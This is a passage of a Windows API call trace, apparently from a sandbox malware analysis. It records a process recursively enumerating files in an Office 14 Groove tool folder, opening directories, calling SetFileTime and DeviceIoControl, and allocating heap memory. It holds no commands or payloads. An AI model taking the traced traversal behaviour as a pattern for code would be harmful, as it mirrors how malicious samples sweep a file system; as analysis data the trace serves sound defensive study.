lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9200 [0079.080] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.080] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.080] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 1 [0079.080] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 0 [0079.080] GetLastError () returned 0x12 [0079.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0079.081] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0079.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacfdc0) returned 1 [0079.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0079.081] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 1 [0079.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d4970 [0079.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), fInfoLevelId=0x0, lpFileInformation=0x119e0b8 | out: lpFileInformation=0x119e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0079.082] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e0fc, lpLastWriteTime=0x119e0fc) returned 0 [0079.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.082] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e154, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e154, lpOverlapped=0x0) returned 0 [0079.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.082] NtClose (Handle=0x184) returned 0x0 [0079.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d4970 [0079.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d5470 [0079.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9200 [0079.084] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.084] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.js", cAlternateFileName="")) returned 1 [0079.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xacfdc0 [0079.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9120 [0079.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa64ad8 [0079.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.085] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x157e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.xsl", cAlternateFileName="")) returned 1 [0079.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9140 [0079.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9eb478 [0079.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.086] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="MINUS.GIF", cAlternateFileName="")) returned 1 [0079.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9160 [0079.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9eb600 [0079.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.087] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a497830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLUS.GIF", cAlternateFileName="")) returned 1 [0079.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9180 [0079.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9e0e90 [0079.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.088] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0079.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c91a0 [0079.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9e1018 [0079.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 0 [0079.089] GetLastError () returned 0x12 [0079.089] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9140 [0079.089] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.js", cAlternateFileName="")) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x157e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hierarchy.xsl", cAlternateFileName="")) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="MINUS.GIF", cAlternateFileName="")) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a497830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLUS.GIF", cAlternateFileName="")) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0079.089] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 0 [0079.089] GetLastError () returned 0x12 [0079.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0079.089] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacfdc0) returned 1 [0079.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0079.090] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy", cAlternateFileName="")) returned 0 [0079.090] GetLastError () returned 0x12 [0079.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dba00) returned 1 [0079.091] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0079.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04ba8) returned 1 [0079.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11db8f8) returned 1 [0079.091] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="")) returned 0 [0079.091] GetLastError () returned 0x12 [0079.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11db6e8) returned 1 [0079.091] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11db7f0) returned 1 [0079.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11db5e0) returned 1 [0079.091] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="")) returned 1 [0079.091] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2338, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0079.091] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashImage.jpg", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashImageMask.bmp", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABMASK.BMP", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABOFF.JPG", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABON.JPG", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHITEBOX.JPG", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteboxMask.bmp", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIcons.jpg", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.092] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: 